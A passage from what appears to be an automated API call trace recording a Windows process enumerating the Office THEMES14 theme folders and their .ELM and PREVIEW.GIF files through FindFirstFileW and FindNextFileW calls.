ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0050.658] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.658] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.658] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0050.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.658] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.658] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0050.658] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.659] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.659] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0050.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.659] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.659] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0050.659] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.659] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.659] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0050.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.659] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.659] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0050.659] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.659] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.659] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0050.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.659] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.660] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0050.660] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.660] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.660] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0050.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.660] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.660] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.660] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.660] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.660] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0050.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.660] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.660] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.660] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.660] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.660] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0050.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.661] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.661] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.661] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.661] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.661] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0050.661] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.661] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.661] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.661] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.661] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.661] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0050.661] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.661] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.661] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.661] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.662] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.662] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0050.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.662] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.662] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.662] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.662] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.662] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0050.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) 